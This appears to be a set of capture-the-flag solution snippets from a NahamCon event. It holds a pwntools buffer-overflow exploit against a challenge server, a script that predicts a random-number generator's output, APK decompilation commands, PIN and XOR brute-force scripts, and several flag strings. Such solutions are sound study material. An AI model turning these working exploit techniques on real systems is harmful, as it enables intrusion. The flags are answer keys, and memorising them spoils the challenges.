python usbkeyboard.py keyboards.txt so the answer is flag{f7733e0093b7d281dd0a30fcf34a9634} hahahah lol 

#!/usr/bin/python from pwn import * gs = ''' continue ''' elf = context.binary = ELF('./ret2basic') context.terminal = ['tmux', 'splitw', '-hp', '70'] def start(): if args.GDB: return gdb.debug('./ret2basic', gdbscript=gs) if args.REMOTE: return remote('challenge.nahamcon.com', 30413) else: return process('./ret2basic') r = start() #========= exploit here =================== win = 0x401215 #ret = 0x40133b payload = "A" * 120 #payload += p64(ret) payload += p64(win) r.sendlineafter(": ",payload) #========= interactive ==================== r.interactive() 

#!/usr/bin/env python from pwn import * from randcrack import RandCrack rc = RandCrack() r = remote('challenge.nahamcon.com', 31784) def roll(): r.sendlineafter("> ","2") r.recvline() data = r.recvline() rc.submit(int(data)) def guess(num): print("Guessing the dice...") r.sendlineafter("> ","3") r.sendlineafter("> ","{}".format(num)) data = r.recvline() print(data) r.recvline() data = r.recvline() print(data) print("Getting data to make prediction...") for i in range(624): roll() num = rc.predict_getrandbits(32) print("Predicted: {}".format(num)) guess(num) 

apktool.jar d microscopium.apk npx react-native-decompiler -i index.android.bundle -o ./output 

const { Base64 } = require('js-base64'); const { sha256 } = require('js-sha256') var cipher64 = "AA9VAhkGBwNWDQcCBwMJB1ZWVlZRVAENW1RSAwAEAVsDVlIAV00="; var partKey = 'pgJ2K9PMJFHqzMnqEgL'; var n = Base64.toUint8Array(cipher64); for (pin = 0; pin <= 9999; pin++) { hash = sha256.create() hash.update(partKey); hash.update(String(pin)); var u = '' for (var l = hash.hex(), c = 0; c < n.length; c++) { u += String.fromCharCode(n[c] ^ l.charCodeAt(c)); } if (u.indexOf('flag{') != -1) { console.log("Pin: " + pin); break; } } console.log(u) 

Pin: 4784 flag{06754e57e02b0c505149cd1055ba5e0b} 

#!/usr/bin/env python3 import string import re charset = string.ascii_lowercase + string.digits + '{}' def xor_strings(xs, ys): return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(xs, ys)) flag = [' '] * 38 def brute(data,val): xord_byte_array = bytearray(len(data)) for i in range(len(xord_byte_array)): xord_byte_array[i] = data[i] ^ ord(val) d = xord_byte_array.decode('utf-8') if 'flag' in d: result = re.findall( r'is the (.*?) character',d) for r in result: flag[int(r)] = val f = open('eaxy', 'rb') data = bytearray(f.read()) for i in charset: brute(data,i) print(''.join(flag))